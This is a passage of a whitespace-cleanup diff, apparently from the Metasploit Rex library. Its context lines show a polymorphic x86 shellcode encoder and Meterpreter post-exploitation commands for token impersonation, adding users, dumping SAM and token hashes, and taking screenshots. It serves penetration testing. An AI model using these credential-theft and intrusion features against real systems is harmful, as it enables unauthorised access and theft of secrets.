@reg_available.shift ) end - + # # Create a block by name and add in its list of permutations. # @@ -531,7 +531,7 @@ module Rex end return _create_block_primitive( block_name, primitive_name, *args ) end - + # # Get the offset for a blocks active permutation. This is easy for backward references as # they will already have been rendered and their sizes known. For forward references we @@ -558,16 +558,16 @@ module Rex def block_exist?( name ) return @blocks.include?( name ) end - + # # Does a given block exist? # def variable_exist?( name ) return @variables.include?( name ) end - + # XXX: ambiguity between variable names and block name may introduce confusion!!! make them be unique. - + # # Resolve a given value into either a number literal, a block offset or # a variables assigned register. @@ -580,7 +580,7 @@ module Rex end return value.to_i end - + # # Get the block previous to the target block. # @@ -606,7 +606,7 @@ module Rex end return nil end - + # # Try to generate a solution. # @@ -615,7 +615,7 @@ module Rex if( @blocks.has_key?( 'end' ) ) @blocks.delete( 'end' ) end - + @blocks['end'] = Block.new( 'end' ) @blocks['end'] << SymbolicPermutation.new( 'end', self, 1 ) @@ -635,31 +635,31 @@ module Rex end previous = current end - + # Shuffle the order of the available registers @reg_available = @reg_available.shuffle - - # We must try every permutation of the register orders, so if we fail to - # generate a solution we rotate the available registers to try again with + + # We must try every permutation of the register orders, so if we fail to + # generate a solution we rotate the available registers to try again with # a different order. This ensures we perform and exhaustive search. 0.upto( @reg_available.length - 1 ) do @solution.reset - # Start from the root node in the solution space and generate a + # Start from the root node in the solution space and generate a # solution by traversing the solution space's tree structure. if( @blocks['begin'].solve ) # Return the solutions buffer (perform a last pass to fixup all offsets)... return @solution.buffer end - + @reg_available.push( @reg_available.shift ) end - + # :( nil end - + # # An UndefinedPermutation exception is raised when a permutation can't render yet # as the conditions required are not yet satisfied. @@ -669,7 +669,7 @@ module Rex super end end - + # # An UnallowedPermutation exception is raised when a permutation can't ever render # as the conditions supplied are impossible to satisfy. @@ -679,7 +679,7 @@ module Rex super end end - + # # An InvalidPermutation exception is raised when a permutation receives a invalid # argument and cannot continue to render. This is a fatal exception. @@ -689,19 +689,19 @@ module Rex super end end - + protected - + # # Overloaded by a subclass to resolve a register number into a suitable register # name for the target architecture. E.g on x64 the register number 0 with size 64 - # would resolve to RCX. Size is nil by default to indicate we want the default + # would resolve to RCX. Size is nil by default to indicate we want the default # machine size, e.g. 32bit DWORD on x86 or 64bit QWORD on x64. # def _register_value( regnum, size=nil ) nil end - + # # Perform the actual variable creation. # @@ -735,7 +735,7 @@ module Rex @variables[name] = regnum return name end - + # # Create a block which is based on a primitive defined by this machine. # @@ -750,14 +750,14 @@ module Rex end return block_name end - + # # Overloaded by a subclass to create any primitives available in this machine. # def _create_primitives nil end - + # # Rex::Poly::Machine::Primitive # @@ -771,9 +771,9 @@ module Rex @primitives[name] << Primitive.new( permutation ) end end - + # - # Helper function to generate a number whoes byte representation is valid in this + # Helper function to generate a number whoes byte representation is valid in this # machine (does not contain any badchars for example). Optionally we can supply a # number and the resulting addition/subtraction of this number against the newly # generated value is also tested for validity. This helps in the assembly primitives @@ -792,38 +792,38 @@ module Rex else raise RuntimeError, "Invalid size '#{bytes}' used in _make_safe_number." end - + goodchars = (0..255).to_a - + @badchars.unpack( 'C*' ).each do | b | goodchars.delete( b.chr ) end while( true ) do value = 0 - + 0.upto( bytes-1 ) do | i | value |= ( (goodchars[ rand(goodchars.length) ] << i*8) & (0xFF << i*8) ) end - + if( not is_valid?( [ value ].pack(format) ) or not is_valid?( [ ~value ].pack(format) ) ) redo end - + if( not number.nil? ) if( not is_valid?( [ value + number ].pack(format) ) or not is_valid?( [ value - number ].pack(format) ) ) redo end end - + break end - + return value end - + end - + end - + end diff --git a/lib/rex/poly/machine/x86.rb b/lib/rex/poly/machine/x86.rb index e72d7aa2d7..05ecb82c0a 100644 --- a/lib/rex/poly/machine/x86.rb +++ b/lib/rex/poly/machine/x86.rb @@ -2,7 +2,7 @@ module Rex module Poly - + # # A subclass to represent a Rex poly machine on the x86 architecture. # @@ -19,25 +19,25 @@ module Rex @reg_available << Rex::Arch::X86::EDI @reg_available << Rex::Arch::X86::EBP @reg_available << Rex::Arch::X86::ESP - - # By default we consume the EBP register if badchars contains \x00. This helps speed - # things up greatly as many instructions opperating on EBP introduce a NULL byte. For - # example, a MOV instruction with EAX as the source operand is as follows: + + # By default we consume the EBP register if badchars contains \x00. This helps speed + # things up greatly as many instructions opperating on EBP introduce a NULL byte. For + # example, a MOV instruction with EAX as the source operand is as follows: # 8B08 mov ecx, [eax] - # but the same instruction with EBP as the source operand is as follows: + # but the same instruction with EBP as the source operand is as follows: # 8B4D00 mov ecx, [ebp] ; This is assembled as 'mov ecx, [ebp+0]' # we can see that EBP is encoded differently with an offset included. We can still - # try to generate a solution with EBP included and \x00 in the badchars list but + # try to generate a solution with EBP included and \x00 in the badchars list but # it can take considerably longer. if( ( consume_base_pointer.nil? and not Rex::Text.badchar_index( "\x00", @badchars ).nil? ) or consume_base_pointer == true ) create_variable( 'base_pointer', 'ebp' ) end - + # By default we consume the ESP register to avoid munging the stack. if( consume_stack_pointer ) create_variable( 'stack_pointer', 'esp' ) end - + # discover all the safe FPU instruction we can use. @safe_fpu_instructions = ::Array.new Rex::Arch::X86.fpu_instructions.each do | fpu | @@ -46,17 +46,17 @@ module Rex end end end - + # # The general purpose registers are 32bit # def native_size Rex::Poly::Machine::DWORD end - + # # Overload this method to intercept the 'set' primitive with the 'location' keyword - # and create the block with the '_set_variable_location'. We do this to keep a + # and create the block with the '_set_variable_location'. We do this to keep a # consistent style. # def create_block_primitive( block_name, primitive_name, *args ) @@ -66,10 +66,10 @@ module Rex super end end - + # - # XXX: If we have a loop primitive, it is a decent speed bump to force the associated variable - # of the first loop primitive to be assigned as ECX (for the x86 LOOP instruction), this is not + # XXX: If we have a loop primitive, it is a decent speed bump to force the associated variable + # of the first loop primitive to be assigned as ECX (for the x86 LOOP instruction), this is not # neccasary but can speed generation up significantly. # #def generate @@ -83,7 +83,7 @@ module Rex # # ...go go go # super #end - + protected # @@ -95,7 +95,7 @@ module Rex if( size.nil? ) size = native_size() end - + if( size == Rex::Poly::Machine::DWORD ) value = Rex::Arch::X86::REG_NAMES32[ regnum ] elsif( size == Rex::Poly::Machine::WORD ) @@ -108,7 +108,7 @@ module Rex end return value end - + # # Create the x86 primitives. # @@ -118,7 +118,7 @@ module Rex # Create the '_set_variable_location' primitive. The first param it the variable to place the current # blocks location value in. # - _create_primitive( '_set_variable_location', + _create_primitive( '_set_variable_location', ::Proc.new do | block, machine, variable | if( @safe_fpu_instructions.empty? ) raise UnallowedPermutation @@ -182,12 +182,12 @@ module Rex ] end ) - + # - # Create the 'loop' primitive. The first param it the counter variable which holds the number of + # Create the 'loop' primitive. The first param it the counter variable which holds the number of # times to perform the loop. The second param it the destination block to loop to. # - _create_primitive( 'loop', + _create_primitive( 'loop', ::Proc.new do | block, machine, counter, destination | if( machine.variable_value( counter ) != Rex::Arch::X86::REG_NAMES32[ Rex::Arch::X86::ECX ] ) # we raise and UndefinedPermutation exception to indicate that untill a valid register (ECX) is @@ -208,12 +208,12 @@ module Rex ] end ) - + # # Create the 'xor' primitive. The first param it the variable to xor with the second param value which # can be either a variable, literal or block offset. # - _create_primitive( 'xor', + _create_primitive( 'xor', ::Proc.new do | block, machine, variable, value | [ "xor #{machine.variable_value( variable )}, #{machine.resolve_value( value )}" @@ -230,11 +230,11 @@ module Rex ] end ) - + # # Create the 'goto' primitive. The first param is a destination block to jump to. # - _create_primitive( 'goto', + _create_primitive( 'goto', ::Proc.new do | block, machine, destination | offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) if( ( offset > 0 and offset > 127 ) or ( offset < 0 and offset < -127 ) ) @@ -253,13 +253,13 @@ module Rex ] end ) - + # # Create the 'add' primitive. The first param it the variable which will be added to the second - # param, which may either be a literal number value, a variables assigned register or a block + # param, which may either be a literal number value, a variables assigned register or a block # name, in which case the block offset will be used. # - _create_primitive( 'add', + _create_primitive( 'add', ::Proc.new do | block, machine, variable, value | if( machine.variable_exist?( value ) ) raise UnallowedPermutation @@ -276,7 +276,7 @@ module Rex ] end, ::Proc.new do | block, machine, variable, value | - [ + [ "add #{machine.variable_value( variable )}, #{machine.resolve_value( value )}" ] end, @@ -284,7 +284,7 @@ module Rex if( machine.variable_exist?( value ) ) raise UnallowedPermutation end - [ + [ "sub #{machine.variable_value( variable )}, #{ "0x%08X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFFFFFF ] }" ] end @@ -311,12 +311,12 @@ module Rex # ] # end, ) - + # # Create the 'set' primitive. The first param it the variable which will be set. the second # param is the value to set the variable to (a variable, block or literal). # - _create_primitive( 'set', + _create_primitive( 'set', ::Proc.new do | block, machine, variable, value | if( machine.variable_exist?( value ) ) raise UnallowedPermutation @@ -385,13 +385,13 @@ module Rex ] end ) - + # # Create the 'load' primitive. The first param it the variable which will be set. The second # param is the value (either a variable or literal) to load from. the third param is the size # of the load operation, either DWORD, WORD or BYTE. # - _create_primitive( 'load', + _create_primitive( 'load', ::Proc.new do | block, machine, variable, value, size | result = nil if( size == Rex::Poly::Machine::DWORD ) @@ -460,7 +460,7 @@ module Rex # # Create the 'store' primitive. # - _create_primitive( 'store', + _create_primitive( 'store', ::Proc.new do | block, machine, variable, value, size | result = nil if( size == Rex::Poly::Machine::DWORD ) @@ -483,12 +483,12 @@ module Rex ::Proc.new do | block, machine, variable, value, size | result = nil if( size == Rex::Poly::Machine::DWORD ) - result = [ + result = [ "push #{machine.resolve_value( value )}", "pop [#{machine.variable_value( variable )}]" ] elsif( size == Rex::Poly::Machine::WORD ) - result = [ + result = [ "push #{machine.resolve_value( value, WORD )}", "pop word [#{machine.variable_value( variable )}]" ] @@ -500,9 +500,9 @@ module Rex end ) end - + end - + end - -end \ No newline at end of file + +end diff --git a/lib/rex/post/dir.rb b/lib/rex/post/dir.rb index 8c73148e6b..0e5cdaa2db 100644 --- a/lib/rex/post/dir.rb +++ b/lib/rex/post/dir.rb @@ -19,31 +19,31 @@ class Dir def Dir.foreach(name, &block) entries(name).each(&block) end - + def Dir.chdir(path) raise NotImplementedError end - + def Dir.mkdir(path) raise NotImplementedError end - + def Dir.pwd raise NotImplementedError end - + def Dir.getwd raise NotImplementedError end - + def Dir.delete(path) raise NotImplementedError end - + def Dir.rmdir(path) raise NotImplementedError end - + def Dir.unlink(path) raise NotImplementedError end diff --git a/lib/rex/post/file_stat.rb b/lib/rex/post/file_stat.rb index c5ecee2b8a..992621f293 100644 --- a/lib/rex/post/file_stat.rb +++ b/lib/rex/post/file_stat.rb @@ -32,7 +32,7 @@ class FileStat self.stathash = {} update(buf) if (buf and not buf.empty?) end - + def dev self.stathash['st_dev'] end @@ -77,7 +77,7 @@ class FileStat # XXX: This needs to understand more than just 'stat' structures # Windows can also return _stat32, _stat32i64, _stat64i32, and _stat64 structures - + skeys = %W{st_dev st_ino st_mode st_wtf st_nlink st_uid st_gid st_rdev st_size st_ctime st_atime st_mtime} svals = buf.unpack("VvvvvvvVVVVV") skeys.each_index do |i| diff --git a/lib/rex/post/io.rb b/lib/rex/post/io.rb index 17e71d1d76..6583de81fa 100644 --- a/lib/rex/post/io.rb +++ b/lib/rex/post/io.rb @@ -133,7 +133,7 @@ class IO def readline(sep = $/) raise NotImplementedError end - + def readlines(sep = $/) raise NotImplementedError end @@ -141,7 +141,7 @@ class IO def rewind raise NotImplementedError end - + def seek(offset, whence = SEEK_SET) raise NotImplementedError end @@ -165,12 +165,12 @@ class IO def syswrite(buf) raise NotImplementedError end - + def tell return pos end - def ungetc(val) + def ungetc(val) raise NotImplementedError end diff --git a/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb b/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb index 2712727e97..54e5941ab8 100644 --- a/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb @@ -6,7 +6,7 @@ module Extensions module NetworkPug TLV_TYPE_EXTENSION_NETWORKPUG = 0 -TLV_TYPE_NETWORKPUG_INTERFACE = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_NETWORKPUG + TLV_EXTENSIONS + 1) +TLV_TYPE_NETWORKPUG_INTERFACE = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_NETWORKPUG + TLV_EXTENSIONS + 1) TLV_TYPE_NETWORKPUG_FILTER = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_NETWORKPUG + TLV_EXTENSIONS + 2) end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/arp.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/arp.rb index 4e35ba8ff2..e18cb20074 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/arp.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/arp.rb @@ -39,10 +39,10 @@ class Arp mac_addr.each_byte { |o| macocts << o } macocts += [0] * (6 - macocts.size) if macocts.size < 6 return sprintf("%02x:%02x:%02x:%02x:%02x:%02x", - macocts[0], macocts[1], macocts[2], + macocts[0], macocts[1], macocts[2], macocts[3], macocts[4], macocts[5]) end - + # # The ip address corresponding to the arp address. # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb index cbfbe884ed..bc17fb9b55 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb @@ -118,7 +118,7 @@ class Config netstat = [] response = client.send_request(request) - + # Build out the array of netstat response.each(TLV_TYPE_NETSTAT_ENTRY) { |connection| netstat << Netstat.new( diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/netstat.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/netstat.rb index 9df87fbd5e..b947ea692e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/netstat.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/netstat.rb @@ -38,7 +38,7 @@ class Netstat self.uid = opts[:uid] || 0 self.inode = opts[:inode] || 0 self.pid_name = opts[:pid_name] - + self.local_addr_str = sprintf("%s:%d",self.local_addr, self.local_port) if self.remote_port == 0 port = "*" @@ -48,7 +48,7 @@ class Netstat self.remote_addr_str = sprintf("%s:%s",self.remote_addr, port) end - + # # The local address of the connection # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb index 06b42e9a78..c8dd03de88 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb @@ -74,14 +74,14 @@ class WinConstManager # # Returns an array of constant names that have a value matching "winconst" # and (optionally) a name that matches "filter_regex" - # + # def select_const_names(winconst, filter_regex=nil) matches = [] consts.each_pair do |name, value| matches << name if value == winconst end - + # Filter matches by name if a filter has been provided unless filter_regex.nil? matches.reject! do |name| diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb index cd4a981d0c..50eb6406fe 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb @@ -73,14 +73,14 @@ class Console::CommandDispatcher::Espia print_line("Grab a screenshot of the current interactive desktop.\n") return true end - + show = true show = false if (args[1] and args[1] =~ /^(f|n|0)/i) - + path = args[0] || Rex::Text.rand_text_alpha(8) + ".jpeg" - + data = client.espia.espia_image_get_dev_screen - + if( data ) ::File.open( path, 'wb' ) do |fd| fd.write( data ) @@ -89,7 +89,7 @@ class Console::CommandDispatcher::Espia print_line( "Screenshot saved to: #{path}" ) Rex::Compat.open_file( path ) if show end - + return true end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb index d6e2827f13..4040324737 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb @@ -124,7 +124,7 @@ class Console::CommandDispatcher::Incognito host = val end } - + if (args.length < 2) print_line("Usage: add_user [options]\n") print_line("Attempts to add a user to a host with all accessible tokens. Terminates when successful, an error that is not access denied occurs (e.g. password does not meet complexity requirements) or when all tokens are exhausted") @@ -154,7 +154,7 @@ class Console::CommandDispatcher::Incognito host = val end } - + if (args.length < 2) print_line("Usage: add_localgroup_user [options]\n") print_line("Attempts to add a user to a local group on a host with all accessible tokens. Terminates when successful, an error that is not access denied occurs (e.g. user not found) or when all tokens are exhausted") @@ -184,7 +184,7 @@ class Console::CommandDispatcher::Incognito host = val end } - + if (args.length < 2) print_line("Usage: add_group_user [options]\n") print_line("Attempts to add a user to a global group on a host with all accessible tokens. Terminates when successful, an error that is not access denied occurs (e.g. user not found) or when all tokens are exhausted") @@ -216,7 +216,7 @@ class Console::CommandDispatcher::Incognito print_line("[*] Snarfing token hashes...") client.incognito.incognito_snarf_hashes(args[0]) print_line("[*] Done. Check sniffer logs") - + return true end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb index 8acec7a477..c10e76bd5c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb @@ -58,7 +58,7 @@ class Console::CommandDispatcher::NetworkPug rescue Errno::EBUSY next end - + ifreq = [ name ].pack("a32") tapdev.ioctl(0x8927, ifreq) @@ -69,7 +69,7 @@ class Console::CommandDispatcher::NetworkPug return tapdev, name, mac } - + tapdev.close() return nil, nil, nil end @@ -86,7 +86,7 @@ class Console::CommandDispatcher::NetworkPug len = len.unpack('n')[0] #print_line("Got #{len} bytes from remote host's network") - + if(len > 1514 or len == 0) @tapdev.close() print_line("length is invalid .. #{len} ?, de-synchronized ? ") @@ -187,13 +187,13 @@ class Console::CommandDispatcher::NetworkPug return true end - + def cmd_networkpug_stop(*args) interface = args[0] if (interface == nil) print_error("Usage: networkpug_stop [interface]") return - end + end client.networkpug.networkpug_stop(interface) @@ -208,7 +208,7 @@ class Console::CommandDispatcher::NetworkPug # meterpreter dies if i try to join.. not sure why. @thread_stuff = nil - + #print_line("closing tapdev") @tapdev.close @@ -219,7 +219,7 @@ class Console::CommandDispatcher::NetworkPug print_status("Packet slinging stopped on #{interface}") return true end - + def name "NetworkPug" end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb index b8b7290a65..c5a019c6db 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb @@ -40,7 +40,7 @@ class Console::CommandDispatcher::Priv::Passwd client.priv.sam_hashes.each { |user| print_line("#{user}") } - + return true end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb index 52be25d704..96bf3913b3 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb @@ -267,7 +267,7 @@ class Console::CommandDispatcher::Stdapi::Net print_error "Invalid Subnet mask" return false end - + print_line("Creating route #{args[0]}/#{args[1]} -> #{args[2]}") client.net.config.add_route(*args) @@ -282,7 +282,7 @@ class Console::CommandDispatcher::Stdapi::Net print_error "Invalid Subnet mask" return false end - + print_line("Deleting route #{args[0]}/#{args[1]} -> #{args[2]}") client.net.config.remove_route(*args) @@ -397,7 +397,7 @@ class Console::CommandDispatcher::Stdapi::Net else print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}") next - end + end counter += 1 end diff --git a/lib/rex/proto/addp.rb b/lib/rex/proto/addp.rb index c1373b9a8a..e5116c6b6d 100644 --- a/lib/rex/proto/addp.rb +++ b/lib/rex/proto/addp.rb @@ -20,10 +20,10 @@ module Proto ERRORS = %W{ no_response unknown success authenticaton_failed unit_has_address invalid_value invalid_data unsupported_command } WLAN_ENC_MODES = %W{ unknown none wep40 wep128 } WLAN_AUTH_MODES = %W{ unknown open shared_key open_shared_key } - HWTYPES = %W{ - unknown ps3_desk8 ps3_desk16 ps3_desk32 ps3_rack16 ps2_desk16 ps2_rack16 + HWTYPES = %W{ + unknown ps3_desk8 ps3_desk16 ps3_desk32 ps3_rack16 ps2_desk16 ps2_rack16 lets_desk1 lets_desk2 lets_desk4 dorpia_dinrail1 nubox01 nubox02 nubox04 - digione_sp digione_ia digione_em + digione_sp digione_ia digione_em } CMD_CONF_REQ = 1 @@ -35,7 +35,7 @@ module Proto CMD_SET_DHCP_REQ = 7 CMD_SET_DHCP_REP = 8 CMD_SET_WL_REQ = 9 - CMD_SET_WL_REP = 10 + CMD_SET_WL_REP = 10 CMD_SET_WL_COUNTRIES_REQ = 11 CMD_SET_WL_COUNTRIES_REP = 12 CMD_EDP = 13 @@ -61,11 +61,11 @@ module Proto def self.request_static_ip(magic, dmac, ip, mask, gw, pwd="dbps") mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac) - buf = + buf = Rex::Socket.addr_aton(ip) + Rex::Socket.addr_aton(mask) + Rex::Socket.addr_aton(gw) + - mac + + mac + self.encode_password(pwd) req = magic + [CMD_SET_ADDR_REQ, buf.length].pack("nn") + buf @@ -74,9 +74,9 @@ module Proto def self.request_dhcp(magic, dmac, enabled, pwd="dbps") mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac) - buf = + buf = [ enabled ? 1 : 0 ].pack("C") + - mac + + mac + self.encode_password(pwd) req = magic + [CMD_SET_DHCP_REQ, buf.length].pack("nn") + buf @@ -86,11 +86,11 @@ module Proto def self.request_reboot(magic, dmac, pwd="dbps") mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac) buf = - mac + + mac + self.encode_password(pwd) req = magic + [CMD_REBOOT_REQ, buf.length].pack("nn") + buf - return req + return req end def self.decode_reply(data) @@ -185,7 +185,7 @@ module Proto # Store unknown responses res["unknown_0x#{"%.2x" % i_type}".to_sym] = i_data end - + bidx = bidx + 2 + i_len end return res @@ -194,8 +194,8 @@ module Proto def self.reply_to_string(res) str = "" - fields = [ - :hwname, :hwtype, :hwrev, :fwrev, + fields = [ + :hwname, :hwtype, :hwrev, :fwrev, :mac, :ip, :mask, :gw, :hostname, :domain, :dns, :dhcp, :msg, :result, :error, :advisory, :ports, :realport, :realport_enc, diff --git a/lib/rex/proto/dcerpc/exceptions.rb b/lib/rex/proto/dcerpc/exceptions.rb index f9b204edd3..80e7ccd5d2 100644 --- a/lib/rex/proto/dcerpc/exceptions.rb +++ b/lib/rex/proto/dcerpc/exceptions.rb @@ -5,7 +5,7 @@ module DCERPC module Exceptions class Error < ::RuntimeError - + @@errors = { 0x00000000 => "stub-defined", 0x00000001 => "nca_s_fault_other", @@ -103,7 +103,7 @@ class Error < ::RuntimeError 0x1c010014 => "nca_server_too_busy", 0x1c010017 => "nca_unsupported_type" } - + def initialize(*args) super(*args) end @@ -136,7 +136,7 @@ class InvalidPacket < Error def initialize(message = nil) @message = message end - + def to_s str = 'Invalid packet.' if (@message) diff --git a/lib/rex/proto/dcerpc/ndr.rb b/lib/rex/proto/dcerpc/ndr.rb index d07bd0e0f5..a4ef79b507 100644 --- a/lib/rex/proto/dcerpc/ndr.rb +++ b/lib/rex/proto/dcerpc/ndr.rb @@ -20,7 +20,7 @@ class NDR warn 'should be using Rex::Encoder::NDR' return [string].pack('V') end - + # Encode a 2 byte short # use to encode: # short element_1; @@ -28,7 +28,7 @@ class NDR warn 'should be using Rex::Encoder::NDR' return [string].pack('v') end - + # Encode a single byte # use to encode: # byte element_1; @@ -53,7 +53,7 @@ class NDR string += "\x00" # null pad return long(string.length) + long(0) + long(string.length) + Rex::Text.to_unicode(string) + align(Rex::Text.to_unicode(string)) end - + # Encode a string that is already unicode encoded # use to encode: # w_char *element_1; diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index f360701556..495a3564d6 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -129,11 +129,11 @@ class Client # @return [ClientRequest] def request_raw(opts={}) opts = self.config.merge(opts) - + opts['ssl'] = self.ssl opts['cgi'] = false opts['port'] = self.port - + req = ClientRequest.new(opts) end @@ -151,7 +151,7 @@ class Client # @return [ClientRequest] def request_cgi(opts={}) opts = self.config.merge(opts) - + opts['ctype'] ||= 'application/x-www-form-urlencoded' opts['ssl'] = self.ssl opts['cgi'] = true diff --git a/lib/rex/proto/http/handler/proc.rb b/lib/rex/proto/http/handler/proc.rb index 03e66a26c2..c5422fb375 100644 --- a/lib/rex/proto/http/handler/proc.rb +++ b/lib/rex/proto/http/handler/proc.rb @@ -27,7 +27,7 @@ class Handler::Proc < Handler # Returns true if the procedure is representing a virtual directory. # def relative_resource_required? - virt_dir + virt_dir end # diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index b10dc1e8a5..8d16732c1e 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -288,7 +288,7 @@ protected when Packet::ParseCode::Completed dispatch_request(cli, cli.request) cli.reset_cli - + when Packet::ParseCode::Partial # Return and wait for the on_client_data handler to be called again # The Request object tracks the state of the request for us diff --git a/lib/rex/proto/iax2/codecs/alaw.rb b/lib/rex/proto/iax2/codecs/alaw.rb index f011356719..c980446912 100644 --- a/lib/rex/proto/iax2/codecs/alaw.rb +++ b/lib/rex/proto/iax2/codecs/alaw.rb @@ -8,7 +8,7 @@ class ALaw < G711 def self.decode(buff) buff.unpack("C*").map{ |x| LOOKUP_ALAW2LIN16[x] }.pack('v*') end - + end end end diff --git a/lib/rex/proto/iax2/codecs/mulaw.rb b/lib/rex/proto/iax2/codecs/mulaw.rb index 25131c7149..d4203568a1 100644 --- a/lib/rex/proto/iax2/codecs/mulaw.rb +++ b/lib/rex/proto/iax2/codecs/mulaw.rb @@ -9,7 +9,7 @@ class MuLaw < G711 def self.decode(buff) buff.unpack("C*").map{ |x| LOOKUP_ULAW2LIN16[x] }.pack('v*') end - + end end end diff --git a/lib/rex/proto/ntlm/constants.rb b/lib/rex/proto/ntlm/constants.rb index 8a78ddae8a..db10360ab7 100644 --- a/lib/rex/proto/ntlm/constants.rb +++ b/lib/rex/proto/ntlm/constants.rb @@ -9,7 +9,7 @@ class Constants LM_MAGIC = "KGS!@\#$%" TIME_OFFSET = 11644473600 MAX64 = 0xffffffffffffffff - + FLAGS = { :UNICODE => 0x00000001, :OEM => 0x00000002, @@ -32,7 +32,7 @@ class Constants :KEY128 => 0x20000000, :KEY56 => 0x80000000 } - + FLAG_KEYS = FLAGS.keys.sort{|a, b| FLAGS[a] <=> FLAGS[b] } DEFAULT_FLAGS = { diff --git a/lib/rex/proto/rfb/cipher.rb b/lib/rex/proto/rfb/cipher.rb index 216e953945..7a0c37dbdb 100644 --- a/lib/rex/proto/rfb/cipher.rb +++ b/lib/rex/proto/rfb/cipher.rb @@ -31,7 +31,7 @@ module RFB ## class Cipher - + def self.mangle_password(password) key = '' key = password.dup if password diff --git a/lib/rex/proto/smb/constants.rb b/lib/rex/proto/smb/constants.rb index e03085830a..fb19e389cd 100644 --- a/lib/rex/proto/smb/constants.rb +++ b/lib/rex/proto/smb/constants.rb @@ -265,7 +265,7 @@ FILE_VOLUME_IS_COMPRESSED = 0x00008000 # SMB Error Codes SMB_STATUS_SUCCESS = 0x00000000 SMB_ERROR_BUFFER_OVERFLOW = 0x80000005 -SMB_STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016 +SMB_STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016 SMB_STATUS_ACCESS_DENIED = 0xC0000022 SMB_STATUS_LOGON_FAILURE = 0xC000006D diff --git a/lib/rex/proto/smb/utils.rb b/lib/rex/proto/smb/utils.rb index f9cb3681c0..63f43ab655 100644 --- a/lib/rex/proto/smb/utils.rb +++ b/lib/rex/proto/smb/utils.rb @@ -20,11 +20,11 @@ CONST = Rex::Proto::SMB::Constants } return access end - + # Creates a mode mask for use with the CLIENT.open() call based on a string def self.open_mode_to_mode(str) mode = 0 - + str.each_byte { |c| case [c].pack('C').downcase when 'x' # Fail if the file already exists @@ -32,7 +32,7 @@ CONST = Rex::Proto::SMB::Constants when 't' # Truncate the file if it already exists mode |= CONST::OPEN_MODE_TRUNC when 'c' # Create the file if it does not exist - mode |= CONST::OPEN_MODE_CREAT + mode |= CONST::OPEN_MODE_CREAT when 'o' # Just open the file, clashes with x mode |= CONST::OPEN_MODE_OPEN end @@ -40,7 +40,7 @@ CONST = Rex::Proto::SMB::Constants return mode end - + # Returns a disposition value for smb.create based on permission string def self.create_mode_to_disposition(str) str.each_byte { |c| @@ -83,7 +83,7 @@ CONST = Rex::Proto::SMB::Constants end return encoded end - + # Convert a name from its NetBIOS equivalent def self.nbname_decode(str) decoded = '' diff --git a/lib/rex/proto/tftp/client.rb b/lib/rex/proto/tftp/client.rb index 90dcf85717..daec9cacf5 100644 --- a/lib/rex/proto/tftp/client.rb +++ b/lib/rex/proto/tftp/client.rb @@ -64,7 +64,7 @@ class Client # # Methods for both upload and download # - + def start_server_socket self.server_sock = Rex::Socket::Udp.create( 'LocalHost' => local_host, @@ -138,7 +138,7 @@ class Client # # Methods for download # - + def rrq_packet req = [OpRead, self.remote_file, self.mode] packstr = 